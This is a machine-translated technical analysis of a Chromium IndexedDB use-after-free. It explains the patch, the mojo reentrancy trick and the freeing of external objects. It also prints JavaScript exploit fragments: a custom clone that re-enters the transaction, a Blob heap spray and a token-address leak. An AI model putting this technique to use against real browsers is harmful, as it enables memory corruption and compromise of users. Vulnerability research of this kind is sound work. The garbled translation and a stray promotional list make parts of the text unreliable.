Root Case

Let’s take a look at the generation principle of vulnerability first, starting from the patch, among which the most important is the following function:

bool IsAcceptingRequests() { return ! is_commit_pending_ && state_ ! = COMMITTING && state_ ! = FINISHED; }Copy the code

The patch adds this judgment to each DatabaseImpl and TransactionImpl interface, preventing transactions in the case of this and FINISHED states from executing, The converse means that continuing a new transaction between these two states will lead to vulnerabilities.

“FINISHED” (literally “FINISHED”) doesn’t have a good point to start with (right), so we focus more on “FINISHED” (right), The state can through IndexedDBTransaction: : Commit () and TransactionImpl: : Commit () these two functions to set up, there is an interesting call chain:

 IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs
  }

Copy the code

Blob_storage or file_system_access is called to write the committed data to disk as follows:

case IndexedDBExternalObject::ObjectType::kFile: case IndexedDBExternalObject::ObjectType::kBlob: { if (entry.size() == 0) continue; // If this directory creation fails then the WriteBlobToFile call // will fail. So there is no need to special-case handle it here. base::FilePath path = GetBlobDirectoryNameForKey( backing_store_->blob_path_, database_id_, entry.blob_number()); backing_store_->filesystem_proxy_->CreateDirectory(path); // TODO(dmurph): Refactor IndexedDBExternalObject to not use a // SharedRemote, so this code can just move the remote, instead of // cloning. mojo::PendingRemote<blink::mojom::Blob> pending_blob; entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver()); // Android doesn't seem to consistently be able to set file // modification times. The timestamp is not checked during reading // on Android either. https://crbug.com/1045488 absl::optional<base::Time> last_modified; blob_storage_context->WriteBlobToFile( std::move(pending_blob), backing_store_->GetBlobFileName(database_id_, entry.blob_number()), IndexedDBBackingStore::ShouldSyncOnCommit(durability_), last_modified, write_result_callback); break; }}Copy the code
case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: { if (! entry.file_system_access_token().empty()) continue; // TODO(dmurph): Refactor IndexedDBExternalObject to not use a // SharedRemote, so this code can just move the remote, instead of // cloning. mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken> token_clone; entry.file_system_access_token_remote()->Clone( token_clone.InitWithNewPipeAndPassReceiver()); backing_store_->file_system_access_context_->SerializeHandle( std::move(token_clone), base::BindOnce( [](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) { // |object| is owned by |transaction|, so make sure // |transaction| is still valid before doing anything else. if (! transaction) return; if (serialized_token.empty()) { std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kError); return; } object->set_file_system_access_token(serialized_token); std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kSuccess); }, weak_ptr_factory_.GetWeakPtr(), &entry, write_result_callback)); break; }}Copy the code

With Clone, we can re-import js and insert some basic knowledge. We will start with the following example, which is a common binding operation:

var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);

Copy the code

1, network security learning route 2, electronic books (white hat) 3, security factory internal video 4, 100 SRC documents 5, common security comprehensive questions 6, CTF contest classic topic analysis 7, a full set of toolkit

Here’s a graph to help you understand:

FileAccessPtr and fileAccessRequest represent the client and service side of the interface connection respectively, which is implemented via mojo.makerequest.

Mojo. makeRequest creates a Message Pipe that fills one end of the pipe with the output parameter (either InterfacePtrInfo or Interface Pointer) and returns the other end wrapped in the InterfaceRequest instance.

  // |output| could be an interface pointer, InterfacePtrInfo or
  // AssociatedInterfacePtrInfo.
  function makeRequest(output) {
    if (output instanceof mojo.AssociatedInterfacePtrInfo) {
      var {handle0, handle1} = internal.createPairPendingAssociation();
      output.interfaceEndpointHandle = handle0;
      output.version = 0;

      return new mojo.AssociatedInterfaceRequest(handle1);
    }

    if (output instanceof mojo.InterfacePtrInfo) {
      var pipe = Mojo.createMessagePipe();
      output.handle = pipe.handle0;
      output.version = 0;

      return new mojo.InterfaceRequest(pipe.handle1);
    }

    var pipe = Mojo.createMessagePipe();
    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
    return new mojo.InterfaceRequest(pipe.handle1);
  }

Copy the code

Mojo.bindInterface calls the bindInterface function

  //third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state,
                         const String& interface_name,
                         MojoHandle* request_handle,
                         const String& scope) {
  std::string name = interface_name.Utf8();
  auto handle =
      mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());

  if (scope == "process") {
    Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
        mojo::GenericPendingReceiver(name, std::move(handle)));
    return;
  }

  ExecutionContext::From(script_state)
      ->GetBrowserInterfaceBroker()
      .GetInterface(name, std::move(handle));
}

Copy the code

Create an Implement that corresponds to the MoJO interface by calling the bind function registered with Map ->Add via GetInterface from the BrowserInterfaceBroker established between Render and Browser. It is then bound to the Receiver. This allows the browser code to be called from Render’s remote.

So how do you implement reentrant JS?

function FileSystemAccessTransferTokenImpl() { this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this); } FileSystemAccessTransferTokenImpl. Prototype = {clone: async (arg0) = > {/ / custom}}; var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr(); var fileAccessImpl = new FileSystemAccessTransferTokenImpl(); var fileAccessRequest = mojo.makeRequest(fileAccessPtr); fileAccessImpl.binding.bind(fileAccessRequest);Copy the code

First you need to implement an fileAccessImpl in the Render layer (i.e. Js), then customize the clone method you want, Bind the InterfaceRequest returned by Mojo. makeRequest to fileAccessImpl.

// ----------------------------------- // |request| could be omitted and passed into bind() later. // // Example: // // // FooImpl implements mojom.Foo. // function FooImpl() { ... } // FooImpl.prototype.fooMethod1 = function() { ... } // FooImpl.prototype.fooMethod2 = function() { ... } // // var fooPtr = new mojom.FooPtr(); // var request = makeRequest(fooPtr); // var binding = new Binding(mojom.Foo, new FooImpl(), request); // fooPtr.fooMethod1(); function Binding(interfaceType, impl, requestOrHandle) { this.interfaceType_ = interfaceType; this.impl_ = impl; this.router_ = null; this.interfaceEndpointClient_ = null; this.stub_ = null; if (requestOrHandle) this.bind(requestOrHandle); }... Binding.prototype.bind = function(requestOrHandle) { this.close(); var handle = requestOrHandle instanceof mojo.InterfaceRequest ? requestOrHandle.handle : requestOrHandle; if (! (handle instanceof MojoHandle)) return; this.router_ = new internal.Router(handle); this.stub_ = new this.interfaceType_.stubClass(this.impl_); this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient( this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId), this.stub_, this.interfaceType_.kVersion); this.interfaceEndpointClient_ .setPayloadValidators([ this.interfaceType_.validateRequest]); };Copy the code

Instead of sending a PendingReceiver to Browser from Render and calling the interface Implemention on the Browser side, you get to call the code in Render from Render.

Then we pass remote to external_Object

var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr;

Copy the code

After IndexedDBBackingStore: : Transaction: : WriteNewBlobs by entry. File_system_access_token_remote () to obtain the incoming remote, The clone call will then be the JS code we defined, which implements reentrant JS.

entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

Copy the code

Here, we define clone as follows:

FileSystemAccessTransferTokenImpl.prototype = { clone: async (arg0) => { // IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition // replace key/value in object store to delete the external object print("=== clone ==="); var value = new blink.mojom.IDBValue(); value.bits = [0x41, 0x41, 0x41, 0x41]; value.externalObjects = []; var key = new blink.mojom.IDBKey(); key.string = new mojoBase.mojom.String16(); key.string.data = "key"; var mode = blink.mojom.IDBPutMode.AddOrUpdate; var index_keys = []; idbTransactionPtr.put(object_store_id, value, key, mode, index_keys); // commit force put operation idbTransactionPtr.commit(0); for(let i = 0; i < 0x1000; i++){ var a=new Blob([heap1]); blob_list.push(a); } done = true; // get token for file handle, control-flow comeback to callback within cached external object ==> UAF fileAccessHandlePtr.transfer(arg0); }};Copy the code

Here’s one caveat:

  entry.file_system_access_token_remote()->Clone(
              token_clone.InitWithNewPipeAndPassReceiver());

          backing_store_->file_system_access_context_->SerializeHandle

Copy the code

Clone is called asynchronously, so we need to determine the order of execution according to the actual situation. The main causes of UAF are as follows, which can be divided into three parts:

1. Causes of UAF

The release of external_Objects involved two PUT requests, which occurred in the second PUT of clone reentrant. The call chain to release external_objects looks like this:

TransactionImpl: : Put - > IndexedDBDatabase: : PutOperation - > IndexedDBBackingStore: : PutRecord - > IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeededCopy the code

TransactionImpl::Put: params stores object_store_id, value, key, mode, index_keys that we passed in. The key parts of the offset are as follows:

Params ->object_store_id offset: 0x0 Params ->value offset: 0x8 to 0x30 Params ->key offset: 0x38Copy the code

Params ->value is of type IndexedDBValue

struct CONTENT_EXPORT IndexedDBValue {
......
  std::string bits;
  std::vector<IndexedDBExternalObject> external_objects;
};

Copy the code

Since we are going to release external_Object later, we typed a log here to output its address and size. This 184 is the size of the heap spray we are going to use later.

This is the second clone call. We pass external_Object empty in the second put, and the bits (the key that will be used later) are the same as in the first

Free occurs here, and since the externalObject we passed in the second time is empty, it will go to external_object_change_map.erase. Since object_store_data_key is the same in both cases, The external_Object passed in the first time will be released.

Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded( int64_t database_id, const std::string& object_store_data_key, std::vector<IndexedDBExternalObject>* external_objects) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); if (! external_objects || external_objects->empty()) { external_object_change_map_.erase(object_store_data_key); //free here!! incognito_external_object_map_.erase(object_store_data_key); . } class IndexedDBExternalObjectChangeRecord { ........ private: std::string object_store_data_key_; std::vector<IndexedDBExternalObject> external_objects_; };Copy the code

Object_store_data_key debugged PutExternalObjectsIfNeeded twice, you can see is the same.

2, Clone commit role

Since Clone was called in the last COMMIT, we are in the commit process of the last transaction. If only put request is made at this time, the transaction will not be processed directly, but the last operation will be processed first. See the figure below:

If you want to leak the token address, you need to put before set_file_system_access_token. Commit is used to force the put. Can achieve the effect that we want.

A new question arises: Does a clone reentrant call not follow up with commit?

The answer is no. Let’s look at the following code:

IndexedDBTransaction::RunTasks() { ....... // If there are no pending tasks, we haven't already committed/aborted, // and the front-end requested a commit, it is now safe to do so. if (! HasPendingTasks() && state_ == STARTED && is_commit_pending_) { processing_event_queue_ = false; // This can delete |this|. leveldb::Status result = Commit(); //IndexedDBTransaction::Commit() if (! result.ok()) return {RunTasksResult::kError, result}; }... }Copy the code

Can be seen only when state = = STARTED calling IndexedDBTransaction: : Commit, and then to call WriteNewBlobs, when our second call Commit state at this time was COMMITTING. First commit:

Second commit:

3, the role of transfer

First let’s look at the call chain:

FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken  --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle

Copy the code

It can be seen that when DoResolveTransferToken is called, a token needs to be found from TransferTokens to finally go to the callback of SerializeHandle

void FileSystemAccessManagerImpl::DoResolveTransferToken( mojo::Remote<blink::mojom::FileSystemAccessTransferToken>, ResolvedTokenCallback callback, const base::UnguessableToken& token) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); auto it = transfer_tokens_.find(token); if (it == transfer_tokens_.end()) { std::move(callback).Run(nullptr); } else { std::move(callback).Run(it->second.get()); }}Copy the code

So we need to call in the clone fileAccessHandlePtr. Transfer (arg0);

void FileSystemAccessManagerImpl::DidResolveForSerializeHandle( SerializeHandleCallback callback, FileSystemAccessTransferTokenImpl* resolved_token) { if (! resolved_token) { std::move(callback).Run({}); return; }... std::string value; bool success = data.SerializeToString(&value); DCHECK(success); std::vector<uint8_t> result(value.begin(), value.end()); std::move(callback).Run(result); }Copy the code

After the incoming DoResolveTransferToken FileSystemAccessTransferTokenImpl processed into the result, It is serialized_token in object->set_file_system_access_token(serialized_token).

backing_store_->file_system_access_context_->SerializeHandle( std::move(token_clone), base::BindOnce( [](base::WeakPtr<Transaction> transaction, IndexedDBExternalObject* object, base::OnceCallback<void( storage::mojom::WriteBlobToFileResult)> callback, const std::vector<uint8_t>& serialized_token) { // |object| is owned by |transaction|, so make sure // |transaction| is still valid before doing anything else. if (! transaction) return; if (serialized_token.empty()) { std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kError); return; } object->set_file_system_access_token(serialized_token); std::move(callback).Run( storage::mojom::WriteBlobToFileResult::kSuccess); }, weak_ptr_factory_.GetWeakPtr(), &entry, write_result_callback)); break;Copy the code

One thing to note here:

In the SerializeToString serialization process, an 8-byte content is calculated to fill the token first, followed by our file_name. Therefore, when using file_name to control the token size, note that the token size will be larger file_name0x8.

summary

The above is divided into three parts, let’s integrate the above content:

  • We can use clone reentrant js to call put twice in Clone.

  • If an empty external_object with the same key is passed in the second PUT, the external_object of the first put will be released.

  • The token is passed to set_file_system_access_token via transer.

  • Commit to execution of PutExternalObjectsIfNeeded before set_file_system_access_token jumped the queue

  • After applying for the external_object that was removed from free via bloB, set_file_system_access_token will write the token to our BLOB. After reading the BLOB, we can obtain the begin address of the token (vector).